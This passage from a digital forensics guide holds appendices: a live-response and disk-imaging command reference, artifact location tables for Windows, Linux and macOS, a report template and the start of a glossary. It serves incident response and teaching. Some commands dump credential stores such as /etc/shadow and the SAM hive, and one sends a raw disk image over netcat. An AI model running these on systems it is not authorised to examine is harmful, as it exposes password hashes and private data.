briefing\n- Export license reviews\n```\n\n---\n\n## Appendices\n\n---\n\n### Appendix A: Forensic Command Reference\n\n```markdown\nFORENSIC COMMAND QUICK REFERENCE\n\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n\nWindows Live Response\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n# System Information\nsysteminfo > systeminfo.txt\nwmic os get /format:list\nwmic computersystem get /format:list\n\n# Processes\ntasklist /v > processes.txt\nwmic process list full > wmic_process.txt\n\n# Network\nnetstat -ano > connections.txt\nnetstat -rn > routing_table.txt\nipconfig /displaydns > dns_cache.txt\narp -a > arp_cache.txt\n\n# Services\nnet start > services.txt\nsc query > sc_query.txt\n\n# Users\nnet user > users.txt\nnet localgroup administrators > admins.txt\nwhoami /all > user_privileges.txt\n\n# Registry\nreg export HKLM\\SAM sam.reg\nreg export HKLM\\SYSTEM system.reg\nreg export HKLM\\SOFTWARE software.reg\nreg export HKCU\\NTUSER.DAT ntuser.reg\n\nLinux Live Response\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n# System\nuname -a > system.txt\ncat /etc/os-release\ndate > date.txt\nuptime > uptime.txt\n\n# Processes\nps auxf > processes.txt\npstree > process_tree.txt\nlsof > open_files.txt\n\n# Network\nnetstat -tupan > connections.txt\nss -tulpn > sockets.txt\niptables-save > firewall.txt\narp -a > arp.txt\n\n# Users\nw > who.txt\nlast > logins.txt\ncat /etc/passwd > users.txt\ncat /etc/shadow > shadow.txt\n\n# Memory\n# LiME\ninsmod lime.ko \"path=memory.lime format=lime\"\n# fmem\ndd if=/dev/fmem of=memory.raw bs=1M\n\nImaging Commands\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n# dd (Linux)\ndd if=/dev/sda of=image.dd bs=4M conv=noerror,sync status=progress\n\n# dd with compression\ndd if=/dev/sda bs=4M | gzip -c > image.dd.gz\n\n# dd over network (receiver)\nnc -l -p 9999 | dd of=image.dd bs=4M\n\n# dd over network (sender)\ndd if=/dev/sda bs=4M | nc 192.168.1.100 9999\n\n# dcfldd (with hash)\ndcfldd if=/dev/sda of=image.dd bs=4M hash=sha256 hashlog=hash.txt\n\n# EWF (EnCase) format\newfacquire /dev/sda -t image.E01 -u\n\nThe Sleuth Kit\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n# Partition table\nmmls image.dd\n\n# File system info\nfsstat -o 2048 image.dd\n\n# List files\nfls -o 2048 -r image.dd > file_list.txt\n\n# List deleted files\nfls -o 2048 -d -r image.dd > deleted_files.txt\n\n# Get file by inode\nicat -o 2048 image.dd 12345 > file.bin\n\n# Timeline\nils -o 2048 -m / -i image.dd > bodyfile.txt\nmactime -b bodyfile.txt -d > timeline.csv\n\nVolatility (Memory Analysis)\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n# Identify profile\nvol.py -f memory.raw imageinfo\n\n# Process listing\nvol.py -f memory.raw --profile=Win10x64 pslist\nvol.py -f memory.raw --profile=Win10x64 psscan\nvol.py -f memory.raw --profile=Win10x64 pstree\n\n# Network\nvol.py -f memory.raw --profile=Win10x64 netscan\nvol.py -f memory.raw --profile=Win10x64 connections\n\n# DLLs\nvol.py -f memory.raw --profile=Win10x64 dlllist\nvol.py -f memory.raw --profile=Win10x64 ldrmodules\n\n# Process memory\nvol.py -f memory.raw --profile=Win10x64 memdump -p 1234 -D dumps/\n\n# Registry\nvol.py -f memory.raw --profile=Win10x64 hivelist\nvol.py -f memory.raw --profile=Win10x64 printkey -K \"ControlSet001\\Control\"\n\n# Malware\nvol.py -f memory.raw --profile=Win10x64 malfind\nvol.py -f memory.raw --profile=Win10x64 apihooks\nvol.py -f memory.raw --profile=Win10x64 timers\n\nPlaso (Timeline)\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n# Create timeline\nlog2timeline.py --storage-file case.plaso image.dd\n\n# Add additional sources\nlog2timeline.py --storage-file case.plaso --append event_logs.evtx\n\n# Generate output\npsort.py -o l2tcsv -w timeline.csv case.plaso\n\n# Filter\npsort.py -o l2tcsv -w filtered.csv \"date > '2023-01-01'\"\n\nYARA\n\u2500\u2500\u2500\u2500\n# Compile rules\nyara -c rules.yar\n\n# Scan file\nyara rules.yar suspicious.exe\n\n# Scan directory\nyara -r rules.yar /path/to/dir/\n\n# Memory scan\nyara rules.yar /proc/1234/mem\n\nRegRipper (Registry)\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n# Parse hive\nrip.pl -r NTUSER.DAT -p all > ntuser.txt\n\n# Specific plugin\nrip.pl -r SYSTEM -p usbstor > usb_history.txt\n\n# All plugins\nrip.pl -r SAM -p > sam_analysis.txt\n\nForemost (Carving)\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n# Basic carving\nforemost -i image.dd -o output/\n\n# Specific file types\nforemost -t jpg,pdf,doc -i image.dd -o output/\n\n# Custom config\nforemost -c foremost.conf -i image.dd -o output/\n```\n\n---\n\n### Appendix B: Artifact Cheat Sheets\n\n```markdown\nWINDOWS ARTIFACTS CHEAT SHEET\n\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 Artifact           \u2502 Location                         \u2502 Forensic Value      \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 Prefetch           \u2502 C:\\Windows\\Prefetch\\*.pf        \u2502 Program execution   \u2502\n\u2502 Amcache            \u2502 C:\\Windows\\AppCompat\\Programs\\   \u2502 App installation    \u2502\n\u2502                    \u2502 Amcache.hve                       \u2502                     \u2502\n\u2502 Shimcache          \u2502 Registry: AppCompatCache         \u2502 Program execution   \u2502\n\u2502 USN Journal        \u2502 $UsnJrnl (on volume)             \u2502 File activity       \u2502\n\u2502 $LogFile           \u2502 $LogFile (on volume)             \u2502 NTFS journal        \u2502\n\u2502 MFT                \u2502 $MFT (on volume)                 \u2502 All files metadata  \u2502\n\u2502 Event Logs         \u2502 C:\\Windows\\System32\\winevt\\Logs\\ \u2502 System events       \u2502\n\u2502                    \u2502 *.evtx                            \u2502                     \u2502\n\u2502 Registry Hives     \u2502 C:\\Windows\\System32\\config\\      \u2502 System config       \u2502\n\u2502 NTUSER.DAT         \u2502 C:\\Users\\[user]\\NTUSER.DAT       \u2502 User config         \u2502\n\u2502 UsrClass.dat       \u2502 C:\\Users\\[user]\\AppData\\Local\\   \u2502 User config         \u2502\n\u2502                    \u2502 Microsoft\\Windows\\UsrClass.dat   \u2502                     \u2502\n\u2502 Recycle Bin        \u2502 C:\\$Recycle.Bin\\[SID]\\$I*        \u2502 Deleted files       \u2502\n\u2502 LNK Files          \u2502 C:\\Users\\[user]\\Recent\\*.lnk     \u2502 File access         \u2502\n\u2502 Jump Lists         \u2502 C:\\Users\\[user]\\AppData\\Roaming\\ \u2502 Application usage   \u2502\n\u2502                    \u2502 Microsoft\\Windows\\Recent\\         \u2502                     \u2502\n\u2502                    \u2502 AutomaticDestinations\\*.ms        \u2502                     \u2502\n\u2502 Shellbags          \u2502 Registry: BagMRU, Bags            \u2502 Folder views        \u2502\n\u2502 USBSTOR            \u2502 Registry: USBSTOR                \u2502 USB device history  \u2502\n\u2502 Setupapi.log       \u2502 C:\\Windows\\INF\\setupapi.dev.log  \u2502 Device installation \u2502\n\u2502 Browser History    \u2502 C:\\Users\\[user]\\AppData\\Local\\   \u2502 Web activity        \u2502\n\u2502                    \u2502 [Browser]\\User Data\\Default\\      \u2502                     \u2502\n\u2502                    \u2502 History                           \u2502                     \u2502\n\u2502 Browser Cache      \u2502 C:\\Users\\[user]\\AppData\\Local\\   \u2502 Cached content      \u2502\n\u2502                    \u2502 [Browser]\\User Data\\Default\\Cache\u2502                     \u2502\n\u2502 Browser Cookies    \u2502 C:\\Users\\[user]\\AppData\\Local\\   \u2502 Cookies             \u2502\n\u2502                    \u2502 [Browser]\\User Data\\Default\\      \u2502                     \u2502\n\u2502                    \u2502 Cookies                           \u2502                     \u2502\n\u2502 Downloads          \u2502 C:\\Users\\[user]\\Downloads\\*       \u2502 Downloaded files    \u2502\n\u2502 Recent Documents   \u2502 Registry: RecentDocs              \u2502 Recent files        \u2502\n\u2502 Typed URLs         \u2502 Registry: TypedURLs               \u2502 URLs typed          \u2502\n\u2502 Run MRU            \u2502 Registry: RunMRU                  \u2502 Run dialog commands \u2502\n\u2502 Windows Search     \u2502 C:\\ProgramData\\Microsoft\\Search\\  \u2502 File index          \u2502\n\u2502                    \u2502 Data\\Applications\\Windows\\        \u2502                     \u2502\n\u2502                    \u2502 Windows.edb                       \u2502                     \u2502\n\u2502 Thumbcache         \u2502 C:\\Users\\[user]\\AppData\\Local\\   \u2502 Image thumbnails    \u2502\n\u2502                    \u2502 Microsoft\\Windows\\Explorer\\       \u2502                     \u2502\n\u2502                    \u2502 thumbcache_*.db                   \u2502                     \u2502\n\u2502 Tasks              \u2502 C:\\Windows\\System32\\Tasks\\       \u2502 Scheduled tasks     \u2502\n\u2502                    \u2502 C:\\Windows\\Tasks\\                 \u2502                     \u2502\n\u2502 Print Spool        \u2502 C:\\Windows\\System32\\spool\\PRINTERS\u2502 Printed documents   \u2502\n\u2502 PowerShell History \u2502 C:\\Users\\[user]\\AppData\\Roaming\\  \u2502 PowerShell commands \u2502\n\u2502                    \u2502 Microsoft\\Windows\\PowerShell\\     \u2502                     \u2502\n\u2502                    \u2502 PSReadLine\\ConsoleHost_history.txt\u2502                     \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n\nLINUX ARTIFACTS CHEAT SHEET\n\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 Artifact           \u2502 Location                         \u2502 Forensic Value      \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 Authentication     \u2502 /var/log/auth.log                \u2502 Logins, sudo        \u2502\n\u2502                    \u2502 /var/log/secure                  \u2502                     \u2502\n\u2502 System Logs        \u2502 /var/log/syslog                  \u2502 System events       \u2502\n\u2502                    \u2502 /var/log/messages                 \u2502                     \u2502\n\u2502 Kernel Logs        \u2502 /var/log/kern.log                \u2502 Kernel messages     \u2502\n\u2502 Boot Log           \u2502 /var/log/boot.log                 \u2502 Boot process        \u2502\n\u2502 Cron Log           \u2502 /var/log/cron.log                 \u2502 Scheduled tasks     \u2502\n\u2502 Mail Log           \u2502 /var/log/mail.log                 \u2502 Email activity      \u2502\n\u2502 Apache Logs        \u2502 /var/log/apache2/access.log      \u2502 Web server access   \u2502\n\u2502                    \u2502 /var/log/apache2/error.log        \u2502                     \u2502\n\u2502 MySQL Logs         \u2502 /var/log/mysql/error.log         \u2502 Database activity   \u2502\n\u2502 Bash History       \u2502 ~/.bash_history                   \u2502 Commands executed   \u2502\n\u2502                    \u2502 ~/.zsh_history                    \u2502                     \u2502\n\u2502                    \u2502 ~/.history                        \u2502                     \u2502\n\u2502 User Accounts      \u2502 /etc/passwd                       \u2502 User list           \u2502\n\u2502 Password Hashes    \u2502 /etc/shadow                       \u2502 Password info       \u2502\n\u2502 Group Info         \u2502 /etc/group                        \u2502 Group memberships   \u2502\n\u2502 Sudoers            \u2502 /etc/sudoers                      \u2502 Sudo permissions    \u2502\n\u2502                    \u2502 /etc/sudoers.d/*                  \u2502                     \u2502\n\u2502 SSH Keys           \u2502 ~/.ssh/id_rsa*                    \u2502 Authentication keys \u2502\n\u2502                    \u2502 ~/.ssh/authorized_keys             \u2502                     \u2502\n\u2502 SSH Known Hosts    \u2502 ~/.ssh/known_hosts                 \u2502 Connected systems   \u2502\n\u2502 Systemd Journal    \u2502 /var/log/journal/                 \u2502 Systemd logs        \u2502\n\u2502 Last Logins        \u2502 /var/log/wtmp                      \u2502 Login history       \u2502\n\u2502 Failed Logins      \u2502 /var/log/btmp                      \u2502 Failed attempts     \u2502\n\u2502 Current Logins     \u2502 /var/run/utmp                      \u2502 Currently logged in \u2502\n\u2502 Process Info       \u2502 /proc/[pid]/                       \u2502 Process details     \u2502\n\u2502 Mounted FS         \u2502 /etc/fstab                         \u2502 Filesystem mounts   \u2502\n\u2502                    \u2502 /proc/mounts                       \u2502                     \u2502\n\u2502 Network Config     \u2502 /etc/network/interfaces           \u2502 Network settings    \u2502\n\u2502                    \u2502 /etc/sysconfig/network-scripts/   \u2502                     \u2502\n\u2502 DNS Config         \u2502 /etc/resolv.conf                   \u2502 DNS servers         \u2502\n\u2502 Hosts File         \u2502 /etc/hosts                        \u2502 Host mappings       \u2502\n\u2502 Firewall Rules     \u2502 /etc/iptables/rules.v4            \u2502 Firewall config     \u2502\n\u2502                    \u2502 /etc/iptables/rules.v6            \u2502                     \u2502\n\u2502 Cron Jobs          \u2502 /etc/crontab                       \u2502 System cron         \u2502\n\u2502                    \u2502 /etc/cron.d/*                      \u2502                     \u2502\n\u2502                    \u2502 /var/spool/cron/crontabs/*        \u2502 User cron           \u2502\n\u2502 System Info        \u2502 /etc/os-release                    \u2502 OS version          \u2502\n\u2502                    \u2502 /etc/issue                         \u2502                     \u2502\n\u2502                    \u2502 /etc/redhat-release                \u2502                     \u2502\n\u2502 Installed Packages \u2502 /var/log/dpkg.log                  \u2502 Package history     \u2502\n\u2502                    \u2502 /var/log/yum.log                   \u2502                     \u2502\n\u2502                    \u2502 /var/log/apt/                      \u2502                     \u2502\n\u2502 Application Config \u2502 /etc/[app]/*                       \u2502 App configuration   \u2502\n\u2502                    \u2502 ~/.config/[app]/*                  \u2502                     \u2502\n\u2502 Environment        \u2502 /etc/profile                       \u2502 Global environment  \u2502\n\u2502                    \u2502 ~/.bashrc                          \u2502 User environment    \u2502\n\u2502                    \u2502 ~/.profile                         \u2502                     \u2502\n\u2502 System Services    \u2502 /etc/init.d/                       \u2502 Init scripts        \u2502\n\u2502                    \u2502 /etc/systemd/system/               \u2502 Systemd units       \u2502\n\u2502                    \u2502 /lib/systemd/system/               \u2502                     \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n\nMACOS ARTIFACTS CHEAT SHEET\n\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 Artifact           \u2502 Location                         \u2502 Forensic Value      \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 Unified Logs       \u2502 /private/var/log/                \u2502 System logs         \u2502\n\u2502                    \u2502 (use 'log show' command)         \u2502                     \u2502\n\u2502 System Log         \u2502 /var/log/system.log              \u2502 Legacy syslog       \u2502\n\u2502 Install History    \u2502 /Library/Receipts/               \u2502 Software installed  \u2502\n\u2502                    \u2502 /var/db/receipts/                \u2502                     \u2502\n\u2502 User Data          \u2502 /Users/[user]/                   \u2502 User files          \u2502\n\u2502 Keychains          \u2502 ~/Library/Keychains/             \u2502 Passwords, keys     \u2502\n\u2502 Safari History     \u2502 ~/Library/Safari/History.db      \u2502 Web history         \u2502\n\u2502 Safari Downloads   \u2502 ~/Library/Safari/Downloads.plist \u2502 Downloaded files    \u2502\n\u2502 Safari Extensions  \u2502 ~/Library/Safari/Extensions/     \u2502 Browser extensions  \u2502\n\u2502 Mail Data          \u2502 ~/Library/Mail/                  \u2502 Emails              \u2502\n\u2502 Messages           \u2502 ~/Library/Messages/chat.db       \u2502 iMessage history    \u2502\n\u2502 Contacts           \u2502 ~/Library/Application Support/   \u2502 Contact list        \u2502\n\u2502                    \u2502 AddressBook/                      \u2502                     \u2502\n\u2502 Calendar           \u2502 ~/Library/Calendars/             \u2502 Calendar events     \u2502\n\u2502 Notes              \u2502 ~/Library/Group Containers/      \u2502 Notes               \u2502\n\u2502                    \u2502 group.com.apple.notes/            \u2502                     \u2502\n\u2502 Reminders          \u2502 ~/Library/Reminders/             \u2502 Reminders           \u2502\n\u2502 Spotlight Index    \u2502 /.Spotlight-V100/                 \u2502 File index          \u2502\n\u2502 Time Machine       \u2502 /Volumes/[Backup]/Backups.backupdb\u2502 Backups             \u2502\n\u2502                    \u2502 /[Computer]/                      \u2502                     \u2502\n\u2502 Application Data   \u2502 ~/Library/Application Support/   \u2502 App data            \u2502\n\u2502 Preferences        \u2502 ~/Library/Preferences/           \u2502 App settings        \u2502\n\u2502 Caches             \u2502 ~/Library/Caches/                 \u2502 Cached data         \u2502\n\u2502 Cookies            \u2502 ~/Library/Cookies/                \u2502 Browser cookies     \u2502\n\u2502 Recent Items       \u2502 ~/Library/Preferences/           \u2502 Recent files        \u2502\n\u2502                    \u2502 com.apple.recentitems.plist       \u2502                     \u2502\n\u2502 Quick Look         \u2502 ~/Library/QuickLook/              \u2502 Quick Look plugins  \u2502\n\u2502 Screen Savers      \u2502 ~/Library/Screen Savers/          \u2502 Screensaver files   \u2502\n\u2502 Fonts              \u2502 ~/Library/Fonts/                  \u2502 Installed fonts     \u2502\n\u2502 Spotlight Comments \u2502 File metadata                      \u2502 User tags           |\n\u2502 Trash              \u2502 ~/.Trash/                          \u2502 Deleted files       \u2502\n\u2502 Sleep Images      \u2502 /private/var/vm/sleepimage        \u2502 Memory on sleep     \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n```\n\n---\n\n### Appendix C: Sample Forensic Report Template\n\n```markdown\nFORENSIC EXAMINATION REPORT\n\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n\nCASE INFORMATION\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nCase Number: [CASE-YYYY-NNNN]\nExaminer: [Name]\nDate of Report: [YYYY-MM-DD]\nRequesting Party: [Organization]\nClassification: [Confidential/Privileged/etc.]\n\n1. EXECUTIVE SUMMARY\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n[Brief overview - 2-3 paragraphs maximum]\n\n2. CASE BACKGROUND\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n[Incident description, investigation scope, legal authority]\n\n3. EVIDENCE LIST\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 Item ID \u2502 Description     \u2502 Source       \u2502 Hash Value          \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 EX-001  \u2502                 \u2502              \u2502                     \u2502\n\u2502 EX-002  \u2502                 \u2502              \u2502                     \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n\n4. EXAMINATION METHODOLOGY\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n[Tools used, procedures followed, acquisition methods]\n\n5. TECHNICAL FINDINGS\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n[Detailed findings organized by evidence item]\n\n   5.1 [Finding Category 1]\n   5.2 [Finding Category 2]\n   5.3 Timeline of Events\n\n6. ANALYSIS & INTERPRETATION\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n[Correlation of findings, significance, alternative explanations]\n\n7. CONCLUSIONS\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n[Summary of findings, answers to specific questions, recommendations]\n\n8. LIMITATIONS\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n[Constraints, unanswered questions, additional analysis needed]\n\n9. APPENDICES\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nA. Chain of Custody\nB. Tool Verification\nC. Raw Data Extracts\nD. Glossary\nE. Examiner Qualifications\n\n_________________________\n[Examiner Name], [Credentials]\n[Organization]\nDate: [YYYY-MM-DD]\n```\n\n---\n\n### Appendix D: Glossary of Terms\n\n```markdown\nGLOSSARY OF FORENSIC TERMS\n\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n\nA\n\u2500\nAccess Time: Timestamp indicating when a file was last accessed\nAlternate Data Stream (ADS): NTFS feature allowing multiple data streams in one file\nAmcache: Windows artifact tracking program execution and installation\nAnti-Forensics: Techniques used to hinder forensic analysis\nAPT (Advanced Persistent Threat): Sophisticated, long-term cyber attack\nArtifact: Digital object of forensic interest\nAutopsy: Open source digital forensics platform\n\nB\n\u2500\nBash History: File recording commands executed in Linux/Unix shell\nBitLocker: Windows full disk encryption\nBitmap: Data structure tracking used/free space in file systems\nBlockchain: Distributed ledger technology underlying cryptocurrencies\nBootkit: Malware infecting master boot record\nBrowser History: Record of websites visited\nBrute Force: Attack trying all possible combinations\n\nC\n\u2500\nC2 (Command and Control): Server controlling compromised systems\nCache: Temporary storage for frequently accessed data\nCarving: Recovering files without file system metadata\nChain of Custody: Documentation of evidence handling\nCheckm8: Hardware exploit for iOS devices\nChip-off: Physical removal of memory chip for analysis\nCloud Forensics: Investigation of cloud computing environments\nCluster: Basic unit of file storage (group of sectors)\nCobalt Strike: Penetration testing tool, 